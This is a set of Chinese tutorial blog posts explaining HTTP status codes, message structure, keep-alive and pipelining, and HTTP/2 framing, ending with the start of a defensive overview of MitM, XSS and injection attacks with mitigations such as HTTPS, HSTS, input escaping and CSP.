,因为它们通常用于向服务器提交数据,可能会改变服务器状态。然而,如果响应中指定了有效期(例如,通过Cache-Control头部)并设置了Content-Location头部,那么它们的响应可以被缓存。这种情况下,缓存代理服务器可以将响应缓存,并在之后的请求中使用。但这种情况下的缓存行为在实际应用中相对较少见,并且有些浏览器并不支持(例如Firefox 就不支持它Firefox bug 109553),因此通常不鼓励缓存POST请求的响应。· PUT和DELETE方法: PUT 和 DELETE 方法的响应通常不会被缓存,即使设置了有效期(通过Cache-Control头部)和Content-Location标头。这是因为这两个请求方法通常用于对资源进行修改或删除,可能会改变服务器的状态,因此响应不适合被缓存。· CONNECT 方法:CONNECT 方法的响应通常不会被缓存 ,即使设置了有效期(通过Cache-Control头部)和Content-Location标头。CONNECT 方法用于建立网络连接,通常用于代理服务器。由于 CONNECT 方法的目的是在客户端和目标服务器之间建立连接,而不是获取资源,所以 CONNECT 方法的响应通常不会被缓存。代理服务器通常不会缓存 CONNECT 方法的响应,因为它们不包含可被缓存的资源数据。· TRACE 方法:TRACE 方法的响应通常不会被缓存 ,即使设置了有效期(通过Cache-Control头部)和Content-Location标头。TRACE 方法用于在目标服务器上执行一个诊断测试,它返回由服务器收到的请求的副本。由于 TRACE 方法的主要目的是用于诊断和调试,而不是对服务器上的资源进行修改,因此 TRACE 方法的响应通常不会被缓存。代理服务器通常不会缓存 TRACE方法的响应,因为这些响应只包含请求的副本,不包含可被缓存的资源数据。能否缓存请求方法可被缓存GET、HEAD、OPTIONS可被缓存,但不鼓励且支持少POST、PATCH不可被缓存PUT、DELETE、CONNECT、TRACEPathPath请求资源路径用来表示要请求的资源的网络位置,Path有多种形式:它可以是一个相对URL、也可以是一个绝对URL、也可以仅由一个星号(*)组成。使用什么形式通常以请求方法、请求的环境为以及请求的格式来决定。Path的形式:相对URL: 这是最常见的形式,除了CONNECT方法都可以使用。/ /background.png /test.html?query=alibaba /anypage.html绝对URL: 主要在使用 GET 方法连接到代理时使用。https://wangjunliang.com/HTTP-Explanation/index.html https://wangjunliang.com/HTML-Guide/index.html包含端口的绝对URL: 在使用 CONNECT 建立 HTTP 隧道时才使用。 https://wangjunliang.com:80 一个星号: 配合 OPTIONS 方法使用,代表整个服务器。*HTTP/VersionHTTP/Version表明了客户端请求使用的HTTP协议版本,并期望服务器相同的协议版本响应。目前有HTTP/0.9、HTTP/1.0、HTTP/1.1、HTTP/2.0以及HTTP/3.0五种取值,随着HTTP不断发展后续也会有更多的版本。Code与MessageCode状态码是服务器返回的响应报文响应行中一个三位数字代码,用于表示服务器处理请求的结果状态。它们提供了关于请求是否成功、出现错误的类型以及如何处理请求的信息。HTTP响应状态码由三个数字组成,分别表示响应的类别:· 1xx:信息性状态码,表示服务器接收到请求并继续处理。· 2xx:成功状态码,表示服务器成功处理了请求。· 3xx:重定向状态码,表示需要进一步操作以完成请求。· 4xx:客户端错误状态码,表示客户端发送的请求有错误。· 5xx:服务器错误状态码,表示服务器在处理请求时发生了错误。Message返回消息是服务器返回的响应报文响应行中一个可选的文本描述,返回消息提供了对状态码的进一步解释,使客户端能够更好地理解服务器处理请求的结果。通常称为"Reason-Phrase",它紧跟在状态码后面,以便更清楚地说明状态码的含义。信息性状态码:1xx状态码返回消息作用100Continue这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。101Switching Protocols该代码是响应客户端的 Upgrade请求头发送的,指明服务器即将切换的协议。102Processing该代码是一个临时的状态码,用于指示服务器已经接收到请求并且正在处理,但尚未完成处理。这个状态码通常用于长时间运行的请求或者需要进行大量计算的请求。103Early Hints此状态代码主要用于与Link消息头一起使用,以允许用户代理在服务器准备响应阶段时开始预加载preloading资源。当服务器收到客户端的请求后,如果服务器能够提前获取到一些与请求相关的资源或者其他信息,它可以使用103状态码来发送这些信息的响应头部给客户端。这样,客户端在接收到完整的响应之前,就可以开始预加载或处理这些额外的信息,从而提高页面加载速度和用户体验。该状态码仍处于实验阶段。成功状态码:2xx状态码返回消息作用200OK请求成功并已正确处理返回201Create请求成功,并因此创建了一个新的资源。这通常是在 POST 请求,或是某些 PUT 请求之后返回的响应。202Accepted表示请求已被接受,但处理尚未完成。通常情况下,服务器会在响应中包含一个描述性的消息或链接,以便客户端可以进一步跟踪请求的处理进度。这通常用在异步操作或批量操作的场景中203Non-Authoritative Information表示服务器已成功处理请求,但返回的信息可能来自于另一个源。通常用于代理服务器的场景,表示代理服务器已经接收到请求并成功处理,但返回的响应内容是从其他服务器获取的,这种情况下,响应中会包含一个描述性的消息或链接,指示客户端可以从其他源获取更详细的信息。204No Content表示请求成功处理,但没有返回内容。205Reset Content表示请求成功处理,要求客户端重置(Reset)当前页面。206Partial Content表示服务器成功处理了部分GET请求,只返回了请求范围内的部分内容。通常用于对资源进行分段下载以及断点续传的场景重定向状态码:3xx状态码返回消息作用300Multiple Choice请求拥有多个可能的响应,用户代理或者用户应当从中选择一个。服务器在响应中会包含一个Location头部字段,其中列出了多个可供选择的资源的URL 。 客户端可以根据自己的需求选择其中一个URL进行进一步的请求。需要注意的是,300状态码并不会自动重定向到其中的某个URL,而是提供了多个选择供客户端选择。301Moved Permanently请求资源的 URL 已永久更改,在响应中给出了新的 URL。当服务器返回301状态码时,客户端会被告知该资源已经永久移动,并且会在响应的Location头部字段中提供新的URL。客户端收到301响应后, 会使用相同的请求方法(一些浏览器可能将POST请求自动转换为GET请求)自动重定向到新的URL,以便获取所请求的资源。302Found请求资源的 URL 临时移动到了一个不同的URL,在响应中给出了新的 URL。当服务器返回302状态码时 ,客户端会被告知该资源已经临时移动,并且会在响应的Location头部字段中提供新的URL。与301状态码不同,302状态码表示所请求的资源只是临时移动,而不是永久性的移动。客户端收到302响应后,会使用相同的请求方式(一些浏览器可能会将将POST请求自动转换为GET请求)自动重定向到新的URL303See Other表示请求的资源可以在另一个URL上找到,并且客户端应该使用GET方法去获取该资源。当服务器返回303状态码时,客户端会被告知所请求的资源可以在另一个URL上找到,并且在响应的Location头部字段中提供新的URL。与302状态码类似,客户端会自动重定向到新的URL,但是在重定向时会使用GET方法。304Not Modified用于缓存的目的,表示所请求的资源在客户端缓存中仍然有效,并且可以直接使用缓存的副本。当客户端发送一个GET请求时,服务器会检查该请求中的If-Modified-Since或If-None-Match头部字段,这些字段包含了之前获取该资源时服务器返回的Last-Modified或ETag值。如果服务器判断该资源自上次请求以来没有发生变化,就会返回304状态码,告知客户端可以使用缓存的副本。307Temporary Redirect请求的资源的 URL 临时移动到了另一个URL,在响应中给出了新的URL。与302状态码类似,当服务器返回307状态码时,客户端会被告知所请求的资源临时移动到了另一个URL上,并且在响应的Location头部字段中提供新的URL。客户端会自动重定向到新的URL,但在重定向时会保持原始的请求方法(解决了302一些浏览器会将POST转换为GET的问题)。308Permanent Redirect请求资源的 URL 已永久更改,在响应中给出了新的 URL。当服务器返回308状态码时,客户端会被告知该资源已经永久移动,并且会在响应的Location头部字段中提供新的URL。客户端会自动重定向到新的URL,但在重定向时会保持原始的请求方法(解决了301一些浏览器会将POST转换为GET的问题)。客户端错误状态码:4xx状态码返回消息作用400Bad Request由于被认为是客户端错误(例如,错误的请求语法、无效的请求消息帧或欺骗性的请求路由),服务器无法或不会处理请求。401Unauthorized表示请求需要用户进行身份验证,但是发送请求的客户端未提供有效的凭据,或者根本没有提供任何凭据。402Payment Required此响应代码保留供将来使用。创建此代码的最初目的是将其用于数字支付系统,但是此状态代码很少使用,并且不存在标准约定。403Forbidden客户端没有访问内容的权限;也就是说,它是未经授权的,因此服务器拒绝提供请求的资源。与401 Unauthorized不同,服务器知道客户端的身份。404Not Found服务器找不到请求的资源。405Method Not Allowed服务器知道请求方法,但目标资源不支持该方法。406Not Acceptable表示服务器无法根据客户端发送的请求中的Accept头部字段,提供与客户端可接受的响应内容格式相匹配的响应。407Proxy Authentication Required类似于 401 Unauthorized 但是认证需要由代理完成。408Request Timeout此响应由一些服务器在空闲连接上发送,即使客户端之前没有任何请求。这意味着服务器想关闭这个未使用的连接。由于一些浏览器,如 Chrome、Firefox 27+ 或 IE9,使用 HTTP 预连接机制来加速冲浪,所以这种响应被使用得更多。还要注意的是,有些服务器只是关闭了连接而没有发送此消息。409Conflict表示服务器在处理请求时发现了冲突,无法完成请求。在进行资源更新或修改操作时,如果服务器检测到当前资源状态与请求中的条件不符合,就会返回409状态码。410Gone当请求的内容已从服务器中永久删除且没有转发地址时,将发送此响应,客户端需要删除缓存和指向资源的链接411Length Required表示服务器要求在请求中包含有效的Content-Length头字段,用于指定请求正文的长度。412Precondition Failed表示服务器在处理请求时,发现请求中包含的某些前提条件不满足。当使用条件请求头字段如If-Match或If-Unmodified-Since时,服务器会比较请求头中的条件与资源的当前状态。如果条件不匹配或资源在指定时间之后被修改过,则服务器会返回412状态码。当使用条件请求头字段如If-None-Match或If-Modified-Since时,服务器会比较请求头中的条件与资源的当前状态。如果条件匹配或资源在指定时间之后未被修改过,则服务器会返回412状态码。413Payload Too Large表示请求实体(负载)的大小超过了服务器设定的限制。如果请求负载超过了服务器定义的限制,服务器可能会选择关闭与客户端的连接,以避免处理过大的请求负载。服务器也可能返回重试信息,在响应中包含一个Retry-After标头字段,指示客户端在多长时间后可以重试请求。这允许客户端知道何时重新发送较小的请求414URI Too Long客户端请求的 URI 比服务器愿意接收的长度长。415Unsupported Media Type服务器不支持请求数据的媒体格式,因此服务器拒绝请求。416Range Not Satisfiable表示服务器无法满足请求中 Range 标头字段指定的范围。该范围可能无效或超出了目标资源数据的大小。417Expectation Failed表示服务器无法满足请求中的Expect请求头字段指定的预期条件418I'm a teapot服务端拒绝用茶壶煮咖啡。笑话,典故来源茶壶冲泡咖啡421Misdirected Request表示服务器无法处理请求,因为请求被发送到了错误的资源。425Too Early表示服务器拒绝处理请求,因为请求的时间过早。该状态码通常与WebRTC(Web实时通信)相关,用于指示客户端在协议协商之前发送了请求。WebRTC是一种用于实时音视频通信的开放标准,它涉及到协议协商和建立连接的过程。在进行协议协商之前,客户端不应该发送任何请求。该状态码处于实验阶段。426Upgrade Required服务器拒绝使用当前协议执行请求,但在客户端升级到其他协议后可能愿意这样做。 服务端发送带有Upgrade 字段的 426 响应 来表明它所需的协议。428Precondition Required表示服务器要求客户端在发送请求之前满足某些先决条件。在收到428状态码时,客户端应该检查响应的头部信息,特别是Precondition-Required头部字段。该字段通常会指定客户端需要满足的先决条件,例如提供正确的If-Match或If-None-Match头部字段,或者提供适当的验证令牌。429Too Many Requests用户在给定的时间内发送了太多请求("限制请求速率")431Request Header Fields Too Large服务器不愿意处理请求,因为其头字段太大。在减小请求头字段的大小后,可以重新提交请求。451Unavailable For Legal Reasons请求了无法合法提供的资源,例如政府审查的网页。服务器错误状态码:5xx状态码返回消息作用500Internal Server Error表示服务器内部错误。当服务器在处理请求时遇到了意外错误或异常情况,无法完成请求时,会返回500状态码给客户端。501Not Implemented表示服务器不支持客户端所请求的功能或方法。当客户端发送的请求方法是服务器不支持的,或者服务器无法满足请求所需的功能时,会返回501状态码。502Bad Gateway表示作为代理服务器的网关从上游服务器(通常是应用服务器或另一个代理服务器)接收到无效的响应。这可能是由于上游服务器出现故障、网络连接问题或配置错误等原因导致的。简单来说,502错误意味着代理服务器无法正确地转发请求并获得有效的响应。503Service Unavailable表示服务器当前无法处理请求,通常是由于服务器过载或维护导致的。这是一个临时错误,表示服务器暂时无法提供请求的服务。这个响应应该用于临时条件,如果可能的话,响应标头 Retry-After 字段应该包含恢复服务之前的估计时间。网站管理员还必须注意与此响应一起发送的与缓存相关的标头,因为这些临时条件响应通常不应被缓存。504Gateway Timeout表示代理服务器在尝试转发请求时,未能及时从上游服务器接收到响应。这通常是由于上游服务器处理时间过长、连接超时或网络问题导致的。简单来说,504错误意味着代理服务器等待上游服务器响应的时间超过了预设的超时时间。505HTTP Version Not Supported表示服务器不支持请求中使用的 HTTP 版本。506Variant Also Negotiates表示服务器有多个可供选择的表示形式(变体)可用于响应客户端请求时,服务器可以使用内容协商机制来确定最适合客户端的表示形式。然而,如果服务器无法确定最佳的变体,或者服务器拒绝进行协商,就会返回506状态码。510Not Extended表示服务器需要对请求进行进一步扩展才能完成请求。当服务器收到一个请求,但需要额外的扩展来满足请求时,可以返回510状态码。这通常发生在服务器要求客户端提供更多信息或使用特定的扩展头部字段时。510状态码的出现是为了以后的HTTP协议扩展预留的,以便在需要时可以定义新的扩展状态码。在实际应用中,510状态码的使用相对较少,因为大多数常见的HTTP请求可以通过现有的状态码来处理。511Network Authentication Required表示客户端需要进行身份验证才能获得网络访问权限。消息头报文的第二行至空白行被称为消息头,它包含了一系列的key:value键值对(key不区分大小写),用来进一步描述请求或消息体,有些消息头是可选的,有些则是必须的。消息头在请求报文中被称为请求头,在响应报文中又被称为响应头,请求头与响应头有些可以共用,有些则只能专用,为此它们有以下分类:· 请求与响应都可使用的key被称为通用标头· 请求报文专用的key称为请求标头· 响应报文专用的key称为响应标头· 用于标识消息体相关内容的key被称为实体标头消息体报文的空白行后一行至最后一行被称为消息体,它用来携带请求或响应需要上传/响应的具体内容,消息体是可选的。 不是所有的请求都消息体:例如获取资源的请求,像 GET、HEAD、DELETE 和 OPTIONS,通常它们不需要主体,同样的也不是所有的响应都有消息体。消息体在请求报文中被称为请求体,在响应报文中又被称为响应体 。请求体与响应体都可以分为两类:· 单一资源(Single-resource)主体,由一个单文件组成。该类型的主体由两个标头定义:Content-Type 和 Content-Length。· 多资源(Multiple-resource)主体,由多部分主体组成,每一部分包含不同的信息位。通常是和HTML 表单连系在一起。总结请求报文响应报文差别起始行名称:请求行 由method(方法)、path(请求资源地址)以及http/version(http版本)组成名称:响应行 由http/version(http版本)、code(状态码)以及message(消息)组成完全不同消息头请求头 由一系列的key:value键值对组成响应头 由一系列的key:value键值对组成请求与响应都可使用的被称为通用标头 请求报文专用称为请求标头 响应报文专用称为响应标头 消息体专用被称为实体标头消息体请求体响应体需要上传的内容/需要响应的内容,它们都可分为单一或多资源主体
0
0
0
浏览量2023
爱喝奶茶的波波

【HTTP完全注解】长连接与短连接

长连接与短连接HTTP/0.9HTTP 的第一个文档版本是HTTP/0.9,于 1991 年提出。它是有史以来最简单的协议;有且只有一个名为 GET 的方法。如果客户端必须访问服务器上的某个网页,它会发出如下简单的请求GET /index.html服务器会收到请求,用 HTML 作为响应进行回复,一旦内容传输完毕,连接就会关闭,服务器的响应如下所示(response body) (connection closed)可以见得,当时的HTTP协议非常简单,并且通常它只需要发出一次请求就可获得所有的内容,当时的网络条件完全能满足此时HTTP协议的需求,因此人们并不在意发出的请求是否应该保持TCP网络连接,所以当时并未规定HTTP协议是否应该保持TCP网络连接。HTTP/1.01996 年,HTTP 的下一个版本即 HTTP/1.0 比原始版本有了很大改进。与仅为 HTML 响应设计的 HTTP/0.9 不同,HTTP/1.0 现在可以处理其他响应格式,即图像、视频文件、纯文本或任何其他内容类型。它添加了更多方法(即 POST 和 HEAD),更改了请求/响应格式,将 HTTP 标头添加到请求和响应中,添加了状态代码以识别响应,引入了字符集支持,多部分类型,授权、缓存、内容编码等。以下是示例 HTTP/1.0 请求的样子:GET / HTTP/1.0 Host: cs.fyi User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) Accept: */*以下是示例 HTTP/1.0 响应的样子:HTTP/1.0 200 OK Content-Type: text/plain Content-Length: 137582 Expires: Thu, 05 Dec 1997 16:00:00 GMT Last-Modified: Wed, 5 August 1996 15:55:28 GMT Server: Apache 0.84 ​ (response body) (connection closed)相较于HTTP/0.9,可以看到HTTP/1.0可以处理并且响应除了HTML以外的其他类型的请求,如图像、视频、HTML、纯文本等。也是由于加入了很多其他类型的内容,如今不再能够发出一次请求就可获得所有的内容,通常获取完整内容需要发送几次甚至十几次请求才能获得,比如您访问的网页有 10 个图像、5 个样式表和 5 个 javascript 文件,当您需要获取网页完整且正确的内容时,需要发出总共 20 个请求。由于HTTP/1.0与HTTP/0.9一样,每次请求它就必须打开一个新的 TCP 连接,并且在满足该单个请求后,连接将关闭。对于任何下一个要求,它都必须建立在新的连接上。因此上述网页将会发起一系列 20 个独立的连接,并且服务器只能根据这些独立的连接一个接一个地处理提供响应。我们都知道每打开一个 TCP 连接都是相当耗费资源的操作,客户端和服务器端之间需要交换很多次消息,并且其中的网络延迟和带宽都会对这个过程造成巨幅的影响,从而导致整个一系列的请求变慢,对性能造成了影响。 为了解决这个问题 HTTP/1.0 的实现试图通过引入一个名为 Connection: keep-alive 的新标头来解决这个问题,但是,最终它仍然没有得到广泛支持,问题仍然存在。HTTP/1.1在 HTTP/1.0 仅推出 3 年后,下一个版本即 HTTP/1.1 于 1999 年发布,在 HTTP/1.0 中,每个连接只有一个请求,并且连接在请求完成后立即关闭,这导致了严重的性能损失和延迟问题。HTTP/1.1 引入了持久连接,即默认情况下连接不会关闭(Connection:keep-alive),而是保持打开状态,允许多个顺序请求。要关闭连接,请求头Connection: close必须可用。客户端通常在最后一个请求中发送此标头以安全关闭连接。当然持久连接不全然都是好处,它也有自身的缺点,在空闲状态,它还是会消耗服务器资源,而且在重负载时,还有可能遭受 DoS 攻击。此外,HTTP/1.1还引入了HTTP pipelining(HTTP管道化)技术,默认情况下,HTTP请求是按顺序发出的。下一个请求只有在当前请求收到响应过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。HTTP pipelining其实就是把多个HTTP请求放到一个TCP连接中一一发送,只不过在之前的协议中,下一个请求需要等到当前请求响应后发送,而HTTP pipelining则是在发送过程中不需要等待服务器对前一个请求的响应就可以发送下一个请求,这样可以避免连接延迟。想法确实很美好,但由于线头阻塞问题即使到了今天,大部分桌面浏览器仍然会选择默认关闭HTTP pipelining这一功能。至此,HTTP/1.1初步完成了对网络链接的优化:短连接、长连接、HTTP管道化。短连接、长连接、HTTP管道化网络连接标头特点缺点短连接Connection: closeHTTP 最早期的和 HTTP/1.0 的值, 每次请求它就必须打开一个新的 TCP 连接,并且在满足该单个请 求后,连接将关闭。对于任何下一 个请求,它都必须建立在新的连接上。每次 TCP 连接都是相当耗费资源的, 极大影响了请求的响应速度长链接Connection: keep-aliveHTTP/1.1请求的默认值,每次请求 它会保持TCP连接一定时间,后续 对同一服务器的请求它将使用该 连接完成,无需重新建立连接在空闲状态,它还是会消耗服务器 资源,而且在重负载时,还有可能 遭受 DoS 攻击管道化无同一条长连接上发出连续的请求, 而不用等待应答返回线头阻塞相关标头Connection 请求标头Connection 控制网络连接在当前请求完成后是否仍然保持连接状态。 如果发送的值是 keep-alive,它会保持连接去完成后续对同一服务器的请求;如果发送值是close,它每发起一个请求时都会创建一个新的网络连接,并在收到应答时立即关闭。参数该请求标头并无其他参数取值close    短连接:不保持网络连接,它每发起一个请求时都会创建一个新的网络连接,并在收到应答时立即关闭。 这是 HTTP/1.0 请求的默认值keep-alive    长连接:保持网络连接,它会保持连接去完成后续对同一服务器的请求,这是 HTTP/1.1请求的默认值示例Connection: keep-alive Connection: closeKeep-Alive 请求标头当请求头Connection为keep-alive时(请求保持连接去完成后续对同一服务器的请求),可通过设置Keep-Alive请求头来指定空闲的连接需要保持的最小时长以及该连接可以发送的最大请求数量。参数timeout=<number>    指定了一个空闲连接需要保持打开状态的最小时长(以秒为单位)。需要注意的是,如果没有在传输层设置 keep-alive TCP message 的话,大于 TCP 层面的超时设置会被忽略。max=<number>    在连接关闭之前,在此连接可以发送的请求的最大值。在非管道连接中,除了 0 以外,这个值是被忽略的,因为需要在紧跟着的响应中发送新一次的请求。HTTP 管道连接则可以用它来限制管道的使用示例Keep-Alive: timeout=5, max=1000线头阻塞(Head-of-line blocking)HTTP pipelining将多个HTTP请求放到一个TCP连接中一一发送,而在发送过程中不需要等待服务器对前一个请求的响应;只不过,客户端还是要按照发送请求的顺序来接收响应。但不管怎么处理,服务器是要按照顺序处理请求的,如果前一个请求非常耗时,那么后续的请求都会受到影响,这就是所谓的线头阻塞(head-of-line blocking)。当然,你可以在选择队伍时候就做好功课,去排一个你认为最快的队伍,或者甚至另起一个新的队伍(译者注:即新建一个TCP连接)。但不管怎么样,你总归得先选择一个队伍,而且一旦选定之后,就不能更换队伍。但是,另起新队伍会导致资源耗费和性能损失(译者注:新建 TCP 连接的开销非常大)。这种另起新队伍的方式只在新队伍数量很少的情况下有作用,因此它并不具备可扩展性。(译者注:这段话意思是说,靠大量新建连接是不能有效解决延迟问题的,即HTTP pipelining并不能彻底解决head-of-line blocking问题。)所以针对此问题并没有完美的解决方案。这就是为什么即使到了今天,大部分桌面浏览器仍然会选择默认关闭HTTP pipelining这一功能的原因。那些年,克服延迟之道再困难的问题也有解决的方案,但这些方案却良莠不齐。SpritingSpriting是一种将很多较小的图片合并成一张大图,再用JavaScript或者CSS将小图重新“切割”出来的技术。网站可以利用这一技巧来达到提速的目的——在HTTP 1.1里,下载一张大图比下载100张小图快得多。但是当某些页面只需要显示其中一两张小图时,这种缓存整张大图的方案就显得过于臃肿。同时,当缓存被清除的时候的时候,Spriting会导致所有小图片被同时删除,而不能选择保留其中最常用的几个。内联(Inlining)Inlining是另外一种防止发送很多小图请求的技巧,它将图片的原始数据嵌入在CSS文件里面的URL里。而这种方案的优缺点跟Spriting很类似。.icon1 { background: url(data:image/png;base64,<data>) no-repeat; } .icon2 { background: url(data:image/png;base64,<data>) no-repeat; }拼接(Concatenation)大型网站往往会包含大量的JavaScript文件。开发人员可以利用一些前端工具将这些文件合并为一个大的文件,从而让浏览器能只花费一个请求就将其下载完,而不是发无数请求去分别下载那些琐碎的JavaScript文件。但凡事往往有利有弊,如果某页面只需要其中一小部分代码,它也必须下载完整的那份;而文件中一个小小的改动也会造成大量数据的被重新下载。这种方案也给开发者造成了很大的不便。分片(Sharding)最后一个我要说的性能优化技术叫做“Sharding”。顾名思义,Sharding就是把你的服务分散在尽可能多的主机上。这种方案乍一听比较奇怪,但是实际上在这背后却蕴藏了它独辟蹊径的道理!最初的HTTP 1.1规范提到一个客户端最多只能对同一主机建立两个TCP连接。因此,为了不和规范冲突,一些聪明的网站使用了新的主机名,这样的话,用户就能和网站建立更多的连接,从而降低载入时间。后来,两个连接的限制被取消了,现在的客户端可以轻松地和每个主机建立6-8个连接。但由于连接的上限依然存在,所以网站还是会用这种技术来提升连接的数量。而随着资源个数的提升(上面章节的图例),网站会需要更多的连接来保证HTTP协议的效率,从而提升载入速度。在现今的网站上,使用50甚至100个连接来打开一个页面已经并不罕见。根据httparchive.org的最新记录显示,在Top 30万个URL中平均使用40(!)个TCP连接来显示页面,而且这个数字仍然在缓慢的增长中。另外一个将图片或者其他资源分发到不同主机的理由是可以不使用cookies,毕竟现今cookies的大小已经非常可观了。无cookies的图片服务器往往意味着更小的HTTP请求以及更好的性能!下面的图片展示了访问一个瑞典著名网站的时产生的数据包,请注意这些请求是如何被分发到不同主机的。HTTP/2HTTP/2是专为降低内容传输延迟而设计,我们可以看下改善核心:降低协议对延迟的敏感修复pipelining和head of line blocking的问题防止主机需求更高的连接数量保留所有现有的接口,内容,URI格式和结构由IETF的HTTPbis工作组来制定二进制协议HTTP/2 倾向于通过使其成为二进制协议来解决 HTTP/1.x 中存在的延迟增加的问题。作为一个二进制协议,它更容易解析,但与 HTTP/1.x 不同的是,它不再被人眼读取。HTTP/2 的主要构建块是帧和流。帧与流HTTP 消息现在由一个或多个帧组成。有一个用于元数据的 HEADERS 帧和用于有效负载的 DATA 帧,并且存在几种其他类型的帧(HEADERS、DATA、RST_STREAM、SETTINGS、PRIORITY 等)。每个 HTTP/2 请求和响应都被赋予一个唯一的流 ID,并且它被分成帧。帧不过是二进制数据。帧的集合称为流。每个帧都有一个流 ID,用于标识它所属的流,并且每个帧都有一个公共标头。此外,除了流 ID 是唯一的,值得一提的是,客户端发起的任何请求都使用奇数,而来自服务器的响应具有偶数流 ID。中断连接HTTP 1.1的有一个缺点是:当一个含有确切值的Content-Length的HTTP消息被送出之后,你就很难中断它了。当然,通常你可以断开整个TCP链接(但也不总是可以这样),但这样导致的代价就是需要通过三次握手来重新建立一个新的TCP连接。在http2里面,我们可以通过发送RST_STREAM帧来实现这种需求,它是一种特殊的帧类型,用于中止某些流,即客户端可以发送此帧让服务器知道我不需要此流了。客户端可以使用 RST_STREAM 并停止接收特定流,同时连接不会被关闭其他流仍会正常运行。优先级每个流都包含一个优先级(也就是“权重”),它被用来告诉对端哪个流更重要。当资源有限的时候,服务器会根据优先级来选择应该先发送哪些流。借助于PRIORITY帧,客户端同样可以告知服务器当前的流依赖于其他哪个流。该功能让客户端能建立一个优先级“树”,所有“子流”会依赖于“父流”的传输完成情况。优先级和依赖关系可以在传输过程中被动态的改变。这样当用户滚动一个全是图片的页面的时候,浏览器就能够指定哪个图片拥有更高的优先级。或者是在你切换标签页的时候,浏览器可以提升新切换到页面所包含流的优先级。多路复用由于 HTTP/2 现在是二进制协议,并且正如我上面所说,它使用帧和流来进行请求和响应,因此一旦打开 TCP 连接,所有流都会通过同一连接异步发送,而无需打开任何其他连接。反过来,服务器以相同的异步方式响应,即响应没有顺序,客户端使用分配的流 ID 来识别特定数据包所属的流。流的多路复用解决了 HTTP/1.x 中存在的线头阻塞问题,即客户端不必等待正在花费时间的请求,其他请求仍将得到处理。头压缩HTTP是一种无状态的协议。简而言之,这意味着每个请求必须要携带服务器需要的所有细节,而不是让服务器保存住之前请求的元数据。因为http2并没有改变这个范式,所以它也以同样原理工作。这也保证了HTTP可重复性。当一个客户端从同一服务器请求了大量资源(例如页面的图片)的时候,所有这些请求看起来几乎都是一致的,而这些大量一致的东西则正好值得被压缩。
0
0
0
浏览量1727
爱喝奶茶的波波

【HTTP完全注解】掘金就这样被我攻击了——Web常见攻击与防护手段

Web常见攻击与防护前段时间深入的学习了下HTTP的CSP策略,就想着找几个网站练练手,看看哪个倒霉蛋要中招。说巧不巧打开掘金一看,嘻嘻正是我想要的,于是乎就诞生了一个有意思的攻击示例:攻击掘金示例(大家放心访问不造成任何安全风险)。相信大家看源码之后恍然大悟,并且不屑一顾,我想掘金肯定也是怎么想的,但勿以风险小而不防呀!多少安全事故都是一些细枝末节的风险引起的,但导致了巨大损失!因此我觉得很有必要跟大家一起学习下现在较为常见的攻击以及一些相关的防护手段,以便于减少网站的安全风险,防范于未来!我们如何得知近期常见的安全风险?我们都知道攻击方式往往是随着时间而不断进化和变更的,我们如何得知近期最有威胁的攻击方式呢?答案就是OWASP每几年发布的《OWASP Top Ten》 。OWASP是一个由Open Web Application Security Project(OWASP)组织的关于Web应用安全的开放社区。该社区每几年都会发布一个十大Web应用安全风险,以反映新的威胁和漏洞,帮助开发人员、安全专家和组织识别和解决这些风险。想要保持Web应用的安全性,我们应该定期查阅了解这些常见的安全风险。常见的攻击以及防护手段MitMMitM(Man-in-the-Middle Attack,中间人攻击,简称MitM攻击)是一种常见的网络攻击方式,攻击者通过在通信过程中插入自己作为中间人的角色,窃取或篡改通信内容。MITM攻击的基本原理是攻击者在通信的两端之间插入自己的存在,使得双方都认为他们在与对方直接通信,但实际上所有的通信都经过了攻击者的窃听和干扰。防范手段:   · 将所有HTTP升级为HTTPS,如果无法升级HTTPS请自行妥善加密请求内容   · 设置HTTP响应标头Strict-Transport-Security字段,要求浏览器在与特定网站通信时强制使用HTTPS连接,并向Google提供的HSTS预加载列表站点提交你的域名,以申请加入HSTS预加载列表中XSSXSS(Cross-Site Scripting,跨站脚本攻击,简称XSS)攻击是一种利用网页应用程序的安全漏洞的攻击方式,攻击者通过在网页中注入恶意脚本代码,使其在用户的浏览器中执行。这些恶意脚本可以用来窃取用户的敏感信息、篡改网页内容或进行其他未经授权的操作。防范手段:用户输入数据以及动态渲染用户输入数据时要严格验证、过滤以及转义    确保用户提交的数据符合预期的格式和类型,拒绝不合法的输入,在将用户输入插入到HTML、JavaScript、CSS或其他上下文中之前,要对数据进行严格验证、过滤以及转义,防止浏览器将输入识别为可执行脚本。切勿滥用任何动态渲染、插入、执行js、css以及html的方法,慎用任何序列以及反序列化的方法    在使用上述方法时一定要仔细思考是否一定要使用这些方法才能满足需求,如若不是最好不要使用,非要使用一定要仔细验证数据来源是否已经经过严格的验证、过滤以及转义。选择受信任的源(如官方仓库或社区维护的库)的依赖,定期审查项目依赖的安全风险    避免使用来自不明来源、未经验证或不活跃维护的依赖项,因为这些依赖项可能包含安全漏洞,项目依赖需要定期监控和更新,因为漏洞和安全问题可能随着时间而出现。使用内容安全策略(CSP)    使用CSP指定浏览器应该如何处理页面中的内容和资源,告诉浏览器哪些来源是受信任的,哪些操作是允许的,以此增强Web应用程序的安全性,减少或防止跨站脚本攻击(XSS)和其他类型的注入攻击。各类注入攻击各类注入攻击(如SQL、NoSQL、OS等注入攻击),其本质与XSS攻击相同,也是一种利用网页应用程序的安全漏洞的攻击方式,它通过在网页中注入恶意脚本代码,只不过这些恶意代码不在浏览器运行,而是在服务器中运行。它的防范手段与XSS相同,但CSP并不能防范这类攻击。防范手段:用户输入数据以及动态渲染用户输入数据时要严格验证、过滤以及转义    确保用户提交的数据符合预期的格式和类型,拒绝不合法的输入,在将用户输入插入到HTML、JavaScript、CSS或其他上下文中之前,要对数据进行严格验证、过滤以及转义,防止浏览器将输入识别为可执行脚本。切勿滥用任何动态渲染、插入、执行js、css以及html的方法,慎用任何序列以及反序列化的方法    在使用上述方法时一定要仔细思考是否一定要使用这些方法才能满足需求,如若不是最好不要使用,非要使用一定要仔细验证数据来源是否已经经过严格的验证、过滤以及转义。选择受信任的源(如官方仓库或社区维护的库)的依赖,定期审查项目依赖的安全风险    